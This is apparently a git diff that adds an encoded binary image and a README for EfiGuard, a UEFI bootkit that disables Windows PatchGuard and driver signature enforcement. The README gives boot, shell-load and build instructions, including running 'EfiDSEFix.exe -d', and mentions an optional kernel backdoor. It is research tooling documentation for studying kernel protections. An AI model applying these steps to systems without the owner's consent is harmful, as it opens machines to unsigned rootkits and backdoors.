zXEJ}#a0ZSa6t8A-xW^`iJ{SwT{q;`rJ2UgRogQbx9rG*`g%c}REXw_3_np`q1&>>o zJ=5vYk5l8=`}SPR#$a6rTlQbls4I5>0AkFj_pQ$lrE=B+OxgS8C2GpSetqx0d~u96 z*isr_o9BsuN5kd&z|ap%M_Mqr&MT-97R*De!1L*LuJ(Z4Z4a zbFr}j_Dn+rNlj43`VJhrU@fi;r6p0aA!|y$N*BN0?UC5<2v<|(W~8(b;~$}Ks|d1( zX^woZhyY`|h-*vVLHShI6MXGpL`k)01*CA}4QK%K3-{z1{D~ncZPF-tsTm@yLcz(l zO`=g}>nw#3!IC0Uc+ftil+37vgn)tEg%3cOeZWS{*<5RKQWNugHjW@EYu_Fu$2PFi z9CFA9#_wM8$+UE2jAbjpmq$p0Zt0o+%&l8V{dc(;MVPP2ie3ToF(Snl10X;s6aB{j z`E+YM5%E!J)N=z50MONdPd)nk_wQjmD*zBM1NDD0E6;LdvGCOD@fI-Q%N!s_2Gbj| z?&NTpecqZATyD;NTirwqzCsOC6Zlkir6dsIZq2gS?LI?5R`fi?C&Wn4Lwk3im?!&O z`roprn5{Os%!)B~p`aQjxORg?goR1cWVY4}aYYNxoNPKsIGTm?JEr# zvJVt%dp)7MuQsDjfCg4_lt%1e+IDRb_zTRaC1Xb{uGJN8j_hYRpr@+n?2^ zNhp<(XpogD8Qm1<-(cVGc;^vvkps4riSK*_;|=Z-6o&W`W=&Sit7dfU={z^xf-6mZg%yztl!K` z%ZAz=uN4)f)S~clA%C3B;RDZ|wx5;>{sjc88Z^*?8{eV$tfr?ZJqX-?-GsMGVz`-6 zo@F%}F)Mj=iPLy+HTJbDF|wkLwxEj^*e(+c$Ro*0MnQm5&(^GS$28@~tqgfFD^5?l9&k&KEAi99+p6W86UU! zHW1!dL5&>);deAM8yqK>o5Dabz0^_^!fOs=rW!Y{^L4y$&mz%F&3PxCZ|IAp)JT!m z2hzWv=7$hU!*-TB^GKk9hb9yMX^==Oq<`cD{-w+!5+%CSO zQ|7!Jibr5LvRDVx7WfJVQ$!5uF;%xty5DWI_&SX{)v+GhpZ?4S5Aj`lZ=GmrhKa_d zP8WWzZ{jOar0LvgcGJAO*+pqv!D-NLjk{}7M`6hS>DJ!9fP_pQe<^{qvFVJQ;<3IE zmtW_8M0!F%I59LCnVDa}ooiz$S%V_4owJ+E0~XdPa%#Q&>BH3gsc2^ZD`X{Ba;B_BZPx)}9#d;_WDGjKDGxRsy~;_3sLdRlnUePddz3NKJa31? zo~_BiUR*PVRHvMM;GcTYaJSQof1@3l9tWiuYGJCEi>wGPEr%OUB|yQsX7+f94`rZ- z3RX>PvBtT8+(1=3oaoBK;;GfSbWNA7kvrYTn*)Syi+4bRg(H1Zq%qp^v`RqUL8$QTWCP#yT*` zR63G+HDLpcV(ut$0Hn+C6*g=uZdkUpNV-&@E5LQ!oD>+waQqdB#+&#hGQ#N3W!;FH zymfD^s>vuLl$M>3ahjs0&mWwatd8}~idrQW6Zs~3zBg7IUx=H@dJ$CW)IMyYAX8P> zt+>jMX_UWd0$Ojl41!lb^HrrY!?*a-e{CaUG4V~mt0K(&Wc0v;<_gcm2>aLxjiM|z z$Xcxvr)C^q-|%<7MP8HL*wOlap3&1%0RtQ~j<=lHF0syYbGZ0!@J$|PQyqzcr%JW_ zT)J!hVH#&;yOE5=@}jZF2?mmHH5=YoLL|FtoV$q#u#jW1)-;fjIyt{`g$sQx<8Ll4 zN8gS%w+g=hBLJU|M9h}A(7?Kvm8OJqfsu))4LaVaeY7-<-M!c^z;NE$1x3%J-BIph z-d0Z2%PK8)rOP~v4p!aK8RzJo?SmS<&>?lOo@VuPHn!X1M$S*QOJyQyS*Fe=5Wdtw zleaPKgtX(hmVHtLgs2Yd-d;vgyG(Inf%oEKo=xjG!T_yWFYw~(;75?CiT?VGb}7=B zIFd+M4d*~sZ_;P2KAf_C;0Ay2!oOrkY6#+?3dws|FGT6uRV`X>WTu@p^0x}5i3Qp- z?p-9Sy>`|mG9y*E6%GSC=Ff?7RRw}0H8E|ujNBoF6e< z3HiLf6mL~3M^`YoSUm$4k}_@im52PDSW_iBKS!4_wp*g>kFGTf1PA7q-pj1|Jts-N z#zz{|(m2lBI9%#^FOW40F`*yWcT0L^DBdTU|1dq$8dZM)9=->i-%%MA_iY*dQ7h0) z^DaR$KVh3^q-thE^i?af-iT?rxX4G^5uYg&zI^}zTvb(8vCfZH>m6{ECD!-G;UKXP zR#vCb#48ToN|nAvhX3VeVa~>83_%>0{bCO}9PeK30uA!&@~~FiI^=%_UjBf?n0@@e z4DvlmGo)_hjePr!bSnHjHQ>RDex*5S3troNaiV6k;-QPK0xGgjE|Rq~#fL-CF(C@# z%{5~M=F^Wfp->RaNbw{=RpZosbk}fK#miVj*z9l!1V9~zUpbqu7Rz)ppUl@Zg=*BYr-A&s$A6T^V;0#9>Q5b1U# z@LnMTm0$W+6uyV+Fh4e0Tm z5vmuCY)&R(KG-#t!S&5UA)^u@O@M~(mG$Fw2WHWx27@k8Cynk$z&rkgGAf@Cdid#J zkfK|UN5IdN>J>B>SN}Y+(kEV{1KE`kUjE~YfMh3Fp`E_6(`mZ@*>CMsC0lYj6UVU` z84;~A1U^GD_D7qW@G}`czE-?Rdak#~!@nN>5{MHm;6n0RWCb(r60els1?A91K&tps zl|0@R1629JQ0OO4BgRIGhgxMnumFG$SJjcvgKB@aC609=n)bssE~UD&gH59l{RTnU zO!^mt8=vV%y>bjd4#(g&zm$}ef6=Rw`yZ}mxyF>S%ilWxWS>VoBuIda&TF?Lw*GiF z{U)(Xto@f{lO+0&nvU7CeL3X@L4JZZ(W7-@(E*=KpFIkWUbWRV9fbQ!{SWv^Sv)9qF%(VGNV1L>CgUVBd zz=}j(3@LBsI}rRz)e2W%U&fPt#;=$7lb+E#;|&#QZ8fO~3`z*sjHj6D^p~pY+Z60A zXAgdM$9;Zq0aeA~2y+|XWO^#rR4>eCs^{lKH5l*_L)c3Cc zc%ZFCh-YbjW;;#X0jCzI-m}rgXqafm1eL7$y^Jk2L;iSc)k#!V?#!@BjoZnpGVx0c zX;Q@%0{YF3!-OXFv0)4S2VWN(5!LB-zq>@2X@a31j~dzWX{b-nD_$WRmN*v0Y-gad z(Tm>T+n|1S@|HuP+JV|i&HDUoscO;u5N7ciQ^pj-K|y~chdUdT?>F8A0^N5;#&3E$ zqZyYka^}OE9$`esLa3(nF-yg&f?V=oID~R_tNVfq%Jv;JUt$Fnky&eL+CKY~wi!T*=AY)6t5a2&b-Q!_CvZNHB6?)ZEHvG{tx9!qbh7@Xm&SQj8yHfRp*2fYX|qNZO3ml6!n$ zPx+egk|oj$%z-mUW^ z-#L<1=38JV=QUp?C0vZ=Puj96lEttpqO0ugPsfiDo6yk&zt`(u3QPoPy1W|B#g2P= zG$xqFgE~axdHbRO0>ZeKkQ4Re_1BBrgvUJUQ-!YOa&J$9QD0u-qbzu>bOYWA^kh5_ zeGKQ4TzQ@jTM86BUcc0y5AI(S!ivM%-5pg`S#=XrNXe|4T6MUn*%FMQEvaeFR=+$< z-U%csM%$I5{cl}cX2OLilS$O+2I;QqDac6k@xmBF=i)Gc1hi^S)t4GbER%|f>on_6 zXN&tYCDQq00!eM>1^2#QFkgRQ?W4gFO?x4YNh$p(4k?SDCmf}>6xiH-httUp z)lD@$^rsRLu$j(YKM~lB56e-#V{$XSt?681aqoRyyI@aG^hM9T1lmjJ5Tw1@e4BKC z&xsXTIHyjbF10<7kb6@w;( z+Oas9IyD|8uzlC50yt5kvLv5^i(>*T=%%vW+aV{irIL*-&s~jdg#dT*et(qQOT?>& zOXPM!-LZXLzl81okM+i7gAEnDcAH0NY}0}XNwmgU=UY8?>~kgDS<*^l9phu$=&>IA zdt}jzp$Vip#--V%E9#|zJ3!?1Jq#BiDdbT@7{7VjH=S^Wslp~ngWz+2X`>pe#E{L3 zFBGOIf+24$K+M0<_GtYBWZjRM##D}6L5(0L5q-=cm-rm_EH+$V>cHV>87w4Z5dKwL z4@B$zSPljUt|VD`B1J>Y92+k#U4fgcG(FwTK#q4!SMONpar+1r#rGhqEi$v-x~gMg zAUW+lD{;=j0?5xmc$bW|6KUcZJHyqU z(SVKBVkRxf2XhQcJokBXMPrxcX>dp3=QvEMVWYDmlLb`!q>2y#wxdX8ax$7R{vx{wyS1Cb(+3zIYCqEo3x{Ag5`#7!Q zcubXeOJotOe+*I?F}NHED=^K@1AyT7cL$45j!=OzIFB~@{nrguo`kQ#T#tlJoz>E5 z6i^u5-|q9GzmF4E&M2oURJXgR4$)|B+oD~p1DCEP9=Mtti(qNy@8=cHGs@?UtIm|W z)I#sS0=|AR{a!h^;`E0fgo7`S?pJhSquWW1QyYtE=6@B>GB#9{w4km!!EMAk;u9`3 z2x1n{S*_M>28H@xJC|?ie;0L}eAgH~R!lZl7d!Co;8bVR(nR>JH{2>y?O3nrRM+^u z1xjQ6JR`FrZR6`@>03MaZACB}G1h_D-pUililW%{#6MI;??a$#TdbNzebKhX3J%240D(ZvpEH`Gi@QJm^wVx;!po#}MO@NLKj=FeB}#;IGugAo-M zv|4q_1H-IsChV#ni1$p6D)ei6%T@-Hb)AB{GC|{CqB`WH5qHxZh(;>lw;tARxkqK* z`n23@N!xwQ0!%JLZ)(Jc=8xzP*^348(3I|jI zNDR1nh8tZL{h-iP0|_H_o_fcu60j2q{3UU(4YD%_ShzZO@{GE})>fE> zN@|*;XOf9zG>R%@72cduU=d;SM}0(c64dXN&ZQ!(l-k*M4LgjhbYfoy;AVz$NFjbP zM*LRxVW>}5Mf9c5a@9x#%}O(++5^_)k+>poQHwq?@{2KdF%!s^mibX_jESo8;Njy~ zucldB1?@iPo707&Iuv$&8QG-4I^mlGN9%=tojT{f7De5sSQsr@0CBMsmv2I{LBU)V zB1jH))Gd~@lXK%eh1dv^-$BW*Pr^3b-G5@@vbeM9&=?*S(kA-fAu63(Nb#f=8_h|J zNXp=MDBsRTm~G9gjvMYoSor}J=@Q2T$w<;7D=OUCr8hu(kobPGw@ur0L9roG;F^HW z#EagvqKDe-yhnE>yM!0FE!~>kvBxtczhu3fa(rytEM&y^{>lF0W(IgMilKs>8K=NM z%G9nSXl>r0UncjIgqTl(ccsT}&x$h^0tL_Ng|AR))1Uy)RM3fkix6x4X3*}|H@Wkpqa z=^ep>NVAb?aLxM3|B;aS(ek^%sWJ^qq-Ak#2e6U(XjnReg+$H(Y!_-`0s z0PW1)DBSofficially) even booting without CSM. This is useful for people who want to use Windows 7 on a locked down device that require WHQL Secure Boot. *TODO:* add a wiki entry on how to get this to work. + ![win7_secureboot](Misc/Win7SecureBoot.png) + + [WinObjEx64](https://github.com/hfiref0x/WinObjEx64) on Windows 7 with Secure Boot enabled + +# Issues and limitations +- EfiGuard can not disable Hypervisor-enforced Code Integrity (HVCI or HyperGuard) due to HVCI running at a greater privilege level. EfiGuard **can** coexist with HVCI and even successfully disables PatchGuard in the normal kernel, but this is not useful in practice because HVCI will catch what PatchGuard did previously. Both types of DSE bypass are rendered useless by HVCI: the boot time patch has no effect because the kernel defers to the secure kernel for integrity checks, and the `SetVariable` hook will cause a `SECURE_KERNEL_ERROR` bugcheck if it is used to write to `g_CiOptions`. +- Checked kernels are not supported due to the differences in PatchGuard and DSE initialization code caused by disabled optimizations and added asserts, as well as additional changes to PatchGuard in checked kernels. This should not be an issue as checked kernels are not generally useful without a kernel debugger attached, which disables PatchGuard. +- The loader application is currently not directly bootable on some PCs (e.g. Dell XPS). In this case the UEFI shell can be used as a fallback (see below). + +# How to use +There are two ways to use EfiGuard: booting the loader (easiest), or using the UEFI shell to load the driver. +## Booting the loader +1. Download or compile EfiGuard, go to `EFI/Boot` and rename one of `Loader.efi` or `Loader.config.efi` to `bootx64.efi`. The two are identical, except `Loader.efi` boots without user interaction whereas `Loader.config.efi` will prompt you to configure the DSE patch method used by the driver (if you want to change this). +2. Place the files on a boot drive such as a USB stick (for physical machines) or an ISO/virtual disk (for VMs). The paths should be `/EFI/Boot/{bootx64|EfiGuardDxe}.efi`. It is recommended to use FAT32 formatted USB sticks. +3. Boot the machine from the new drive instead of booting Windows. Most firmwares provide a boot menu to do this (accessible via F10/F11/F12). If not, you will need to configure the BIOS to boot from the new drive. +4. If you are using the default loader, Windows should now boot, and you should see EfiGuard messages during boot. If you are using the configurable loader, answer the configuration prompts and Windows will boot. +5. If you booted with the `SetVariable` hook (the default), run `EfiDSEFix.exe -d` from a command prompt after boot to disable DSE. Run `EfiDSEFix.exe` to see the full list of options. + +## Using the UEFI shell to load the driver +1. Follow the steps 1 and 2 as above, but do not rename the loader to `bootx64.efi`. Instead, either use the BIOS-provided shell (if you have one), or download the [EDK2 UEFI Shell](https://github.com/tianocore/edk2/blob/master/ShellBinPkg/UefiShell/X64/Shell.efi?raw=true) and rename it to `bootx64.efi`. +2. Boot the machine to the UEFI shell. +3. `cd` to `/EFI/Boot` on the correct filesystem and run `load EfiGuardDxe.efi` to load the driver. +4. (Optional) Run either `Loader.efi` or `Loader.config.efi` from the same directory to boot Windows. You can also continue working in the shell, or `exit` to go back to the BIOS/boot menu and boot from there. +5. After boot, apply the DSE fix as above if applicable. + +# Compilation +## Compiling EfiGuardDxe and the loader +EfiGuard requires EDK2 to build. If you don't have EDK2 installed, follow the steps in [Getting Started with EDK2](https://github.com/tianocore/tianocore.github.io/wiki/Getting-Started-with-EDK-II) first as the EDK2 build system is fairly complex to set up. This section assumes you have a `workspace` directory that your `WORKSPACE` environment variable points to, with a copy of EDK2 checked out in `workspace/edk2`. Supported compilers are MSVC, Clang, GCC and ICL. +1. Clone the EfiGuard repository into `workspace/edk2/EfiGuardPkg`. +2. Open a prompt or shell that sets up the environment variables for EDK2. +3. Run `build -a X64 -t VS2017 -p EfiGuardPkg/EfiGuardPkg.dsc -b RELEASE`, substituting your toolchain for VS2017. + + +This will produce `EfiGuardDxe.efi` and `Loader.efi` in `workspace/Build/EfiGuard/RELEASE_VS2017/X64`. +To build the interactively configurable loader, append `-D CONFIGURE_DRIVER=1` to the build command. + +## Compiling EfiDSEFix +EfiDSEFix requires Visual Studio to build. +1. Open `EfiGuard.sln` and build the solution. + + +The output binary `EfiDSEFix.exe` will be in `Application/EfiDSEFix/bin`. + +The Visual Studio solution also includes projects for `EfiGuardDxe.efi` and `Loader.efi` which can be used with [VisualUefi](https://github.com/ionescu007/VisualUefi), but these projects are not built by default as they will not link without additional code, and the build output will be inferior (bigger) than what EDK2 produces. `Loader.efi` will not link at all due to VisualUefi missing UefiBootManagerLib. These project files are thus meant as a development aid only and the EFI files should still be compiled with EDK2. To set up VisualUefi for this purpose, clone the repository into `workspace/VisualUefi` and open `EfiGuard.sln`. + +# Architecture + ![architecture](Misc/EfiGuard.png) +While EfiGuard is a UEFI bootkit, it did not start out as one. EfiGuard was originally an on-disk patcher running on NT (similar to [UPGDSED](https://github.com/hfiref0x/UPGDSED)), intended to test the viability of a disassembler-based aproach, as opposed to using PDB symbols and version-specific signatures. [PatchNtoskrnl.c](EfiGuardDxe/PatchNtoskrnl.c) still looks very much like this original design. Only after this approach proved successful, with no modifications to code needed in over a year of Windows updates, did UEFI come into the picture as a way to further improve capabilities and ease of use. + +Some of the benefits provided by a bootkit approach include: +- No on-disk modifications to kernels or bootloaders needed. +- No need to modify the boot configuration store using `bcdedit`. +- No need to patch `ImgpValidateImageHash` (although this is still optionally done). +- Ironically, the use of a bootkit allows enabling Secure Boot, provided you own the Platform Key and are able to add your personal certificate to the `db` store. + +The initial incarnation of EfiGuard as a bootkit was an attempt to get dude719's [UEFI-Bootkit](https://github.com/ajkhoury/UEFI-Bootkit) to work with recent versions of Windows 10, because it had become dated and no longer works on the latest versions (like UPGDSED, often caused by version-sensitive pattern scans). While I did eventually get this to work, I was unsatisfied with the result mostly due to the choice of hooking `OslArchTransferToKernel`, which as noted above executes in protected mode and after `ExitBootServices` has been called. Apart from this, I was not satisfied with only being able to patch some versions of Windows 10; I wanted the bootkit to work on every EFI-compatible version of Windows x64 released to date. Because of this, I rewrote the bootkit from scratch with the following aims: +- To provide patch information at every stage of boot including the kernel patch itself. +- To increase the number of supported EFI-compatible Windows versions to "all" (at the time of writing). +- To enable lazy instantiation of the bootkit and optionally a kernel backdoor, achieved by EFI System Table hooks. + +A big picture overview of the final EfiGuard boot flow is shown in the diagram above. For the individual component-specific hooks and patches, see `EfiGuardDxe/PatchXxx.c` in the source files. For driver initialization/unloading and the EFI Boot and Runtime Services hooks, see [EfiGuardDxe.c](EfiGuardDxe/EfiGuardDxe.c). + +# Credits +- [UPGDSED](https://github.com/hfiref0x/UPGDSED) by [hfiref0x](https://github.com/hfiref0x) and [Fyyre](https://github.com/Fyyre) +- [Zydis](https://github.com/zyantific/zydis) by [zyantific](https://zydis.re) +- [Uninformed](http://uninformed.org/) articles on PatchGuard [v1](http://uninformed.org/index.cgi?v=3&a=3&t=pdf), [v2](http://www.uninformed.org/?v=6&a=1&t=pdf) and [v3](http://uninformed.org/index.cgi?v=8&a=5&t=pdf) by Skywing +- [UEFI-Bootkit](https://github.com/ajkhoury/UEFI-Bootkit) by [dude719](https://github.com/ajkhoury) +- [ReactOS](https://reactos.org) + +# License +EfiGuard is licensed under the GPLv3. Files in the `EfiGuardDxe/Zydis` submodule are licensed under the MIT license.